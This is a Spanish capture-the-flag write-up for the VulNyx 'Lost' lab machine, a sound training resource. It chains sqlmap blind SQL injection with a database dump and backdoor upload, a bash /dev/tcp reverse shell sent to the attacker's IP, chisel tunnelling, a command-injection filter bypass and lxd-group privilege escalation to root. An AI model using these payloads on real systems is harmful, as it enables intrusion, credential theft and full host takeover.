VulNyx - Lost
- SQL Injection Based Blind - (SQL-Map)
- Internal Port Forwarding - (Chisel)
- Command Injection - (Filter Bypass)
- Lxd/lxc Group - (Privilege escalation)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.116
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sV -sC -p 22,80 -v 192.168.1.116
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: lost.nyx
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Al inspeccionar el código fuente encuentro el siguiente comentario.
Como me indica el comentario tengo que realizar una enumeración de subdominios.
❯ wfuzz -t 200 -c --hw=70 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.lost.nyx" http://lost.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://lost.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 294 L 645 W 9936 Ch "dev"
Añado el nuevo subdominio a mi archivo hosts para poder visualizarlo correctamente.
En PASSENGERS LIST veo un mensaje que me llama la atención.
Si le añado un identificador con el valor 1 a la URL obtengo este resultado.
http://dev.lost.nyx/passengers.php?id=1
Por comodidad uso SQLMap para identificar que tipo de inyección encuentra.
❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1'
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3740=3740
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 1885 FROM(SELECT COUNT(*),CONCAT(0x716a706b71,(SELECT (ELT(1885=1885,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7155 FROM (SELECT(SLEEP(5)))OboE)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716a706b71,0x625078655275497172675244646d4964705a654f764379487245435266634a6d776f514141665042,0x716a6b7a71),NULL,NULL-- -
---
[13:03:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.57, PHP 8.2.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
Con la flag --dbs
enumero las bases de datos disponibles.
❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' --dbs
[13:05:36] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] lost
[*] mysql
[*] performance_schema
[*] sys
Selecciono la base de datos lost y enumero las tablas.
❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' -D lost --tables
[13:07:46] [INFO] fetching tables for database: 'lost'
Database: lost
[2 tables]
+------------+
| passengers |
| users |
+------------+
Dumpeo la tabla users, obtengo unos usuarios con sus hashes pero es un rabbit hole.
❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' -D lost -T users --dump
Database: lost
Table: users
[10 entries]
+----+--------------------------------------+------------------------------------------------------------------+----------+
| id | salt | password | username |
+----+--------------------------------------+------------------------------------------------------------------+----------+
| 1 | 21dcd7a1-cc0f-11ee-88ad-c6d3ce8f613a | 11389898872781d162347916c42ce996eddd106227a55ed820d9b2d8779afeb8 | jack |
| 2 | 21dcda3d-cc0f-11ee-88ad-c6d3ce8f613a | c31a0329a22c74f36895d20c602fc9235277bc5cf3eb340b3c83f06a5f9e3ec2 | sawyer |
| 3 | 21dcdaa1-cc0f-11ee-88ad-c6d3ce8f613a | f5adc6bb3ca2f643ab480189f9be95fdbb388f91a72efbe00bf15e9acbce12a5 | hugo |
| 4 | 21dcdab9-cc0f-11ee-88ad-c6d3ce8f613a | 15e00c30344346cc2eaf8db69a26b52725f66cf679d89e5bbc550fa2daa3daa0 | kate |
| 5 | 21dcdad0-cc0f-11ee-88ad-c6d3ce8f613a | fba8173e097cd7d7fc21b5ba51f141aceb7d3175187833cf885f1a9b55105d65 | benjamin |
| 6 | 21dcdae6-cc0f-11ee-88ad-c6d3ce8f613a | 257640cfdf009d58f51cf5f9639961e0f7919122102e00da44ec813b2812c1e8 | sayd |
| 7 | 21dcdafc-cc0f-11ee-88ad-c6d3ce8f613a | cbc27bcf23e7c1de300290f7cad2c53288d49f9e0abaa9bdaf23bf013d38f473 | jacob |
| 8 | 21dcdb0f-cc0f-11ee-88ad-c6d3ce8f613a | 981c0ce3c15f43574fd091a11ca681156c5efff6d0ff591dbf50a8cf7020f319 | claire |
| 9 | 21dcdb26-cc0f-11ee-88ad-c6d3ce8f613a | 549499d0ec3d5c13a7c2706e10fd46fd9bb4c372827d4802998f4cbd9cdf37c3 | desmond |
| 10 | 21dcdb39-cc0f-11ee-88ad-c6d3ce8f613a | a6552547aa662097571391ff4a5eb0f944a290973df7ee6347c78e5a74f70d0a | john |
+----+--------------------------------------+------------------------------------------------------------------+----------+
SQLMap tiene la flag –os-shell que me permite subir una shell.
❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[13:47:01] [INFO] retrieved the web server document root: '/var/www'
[13:47:01] [INFO] retrieved web server absolute paths: '/var/www/lost/passengers.php'
[13:47:01] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[13:47:01] [WARNING] potential permission problems detected ('Permission denied')
[13:47:01] [WARNING] unable to upload the file stager on '/var/www/'
[13:47:01] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[13:47:01] [WARNING] expect junk characters inside the file as a leftover from UNION query
[13:47:01] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:47:01] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[13:47:01] [INFO] trying to upload the file stager on '/var/www/lost/' via LIMIT 'LINES TERMINATED BY' method
[13:47:01] [INFO] the file stager has been successfully uploaded on '/var/www/lost/' - http://dev.lost.nyx:80/tmpbwxzv.php
[13:47:01] [INFO] the backdoor has been successfully uploaded on '/var/www/lost/' - http://dev.lost.nyx:80/tmpbwxzv.php
[13:47:01] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
Navego hacia http://dev.lost.nyx:80/tmpbwxzv.php
y compruebo que funciona correctamente.
❯ curl "http://dev.lost.nyx:80/tmpbwxzv.php?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como puedo ejecutar comandos puedo usar bash para obtener una shell.
❯ curl "http://dev.lost.nyx:80/tmpbwxzv.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.20%2F443%200%3E%261%27"
Obtengo la shell.
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.116] 36410
bash: cannot set terminal process group (527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@lost:/var/www/lost$
El puerto 3000 esta abierto de forma local.
Al lanzar curl veo que se trata de una herramienta para lanzar pings.
www-data@lost:/var/www/lost$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ping Tool</title>
<style>
body {
background-image: url('numbers.gif');
background-size: cover;
background-repeat: no-repeat;
}
</style>
</head>
<body>
<h1>Ping the Lost IP's</h1>
<form action="" method="POST">
<label for="ip">Enter the IP address to ping:</label><br>
<input type="text" id="ip" name="ip"><br>
<input type="submit" value="Ping">
</form>
</body>
</html>
Me descargo chisel a la máquina victima y lo lanzo como cliente.
www-data@lost:/tmp$ ./chisel client 192.168.1.20:9080 R:3000:127.0.0.1:3000
En la máquina atacante lanzo chisel como servidor.
❯ ./chisel server -p 9080 --reverse
2024/03/19 12:43:40 server: Reverse tunnelling enabled
2024/03/19 12:43:40 server: Fingerprint n6St2Chp/62wTBuCzX2w+AgmBQDttLf5LUJpNyPwmu0=
2024/03/19 12:43:40 server: Listening on http://0.0.0.0:9080
2024/03/19 12:44:31 server: session#1: tun: proxy#R:3000=>3000: Listening
Lanzo un ping al localhost.
Si intento inyectar comandos me detecta los datos introducidos como maliciosos.
Cambiando el ;
por |
consigo saltarme la protección y enumero el usuario jackshephard. En PayloadsAllTheThings tienes varios ejemplos sobre el CommandInjection.
Con la ayuda de Bypass consigo
Obtengo una shell como usuario jackshephard.
❯ nc -lvnp 444
listening on [any] 444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.116] 39940
id
uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)
Al lanzar el comando id veo que jackshephard pertenece al grupo lxd.
jackshephard@lost:~$ id
uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)
Sigo el método 2 de Hacktricks .
# 1
❯ git clone https://github.com/saghul/lxd-alpine-builder
# 2
❯ cd lxd-alpine-builder
# 3
❯ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
# 4
❯ sudo ./build-alpine -a i686
Una vez termina descargo el archivo alpine-v3.8-i686-20240319_1640.tar.gz a la máquina víctima.
jackshephard@lost:/tmp$ wget 192.168.1.20/alpine-v3.8-i686-20240319_1640.tar.gz
Importo la imagen y le pongo el alias image.
jackshephard@lost:/tmp$ lxc image import alpine-v3.8-i686-20240319_1640.tar.gz --alias image
Image imported with fingerprint: caf97ce37d41fc0feca296b9ee9b5687534435ef34b6a5c394d41b9f2e34c034
Compruebo que la imagen se ha importado correctamente.
Configuro el grupo de almacenamiento lxd como predeterminado.
jackshephard@lost:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: y
Name of the new storage pool [default=default]: privesc
Would you like to connect to a MAAS server? (yes/no) [default=no]:
The requested network bridge "lxdbr0" already exists. Please choose another name.
What should the new bridge be called? [default=lxdbr0]: lxdbr1
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: none
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]:
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Ejecuto la imagen.
jackshephard@lost:/tmp$ lxc init image mycontainer -c security.privileged=true
Creating mycontainer
Monto el /root en la imagen.
jackshephard@lost:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
Obtengo el root de la siguiente forma.
jackshephard@lost:/tmp$ lxc start mycontainer
jackshephard@lost:/tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)
Y aquí termina la máquina Lost.
Saludos!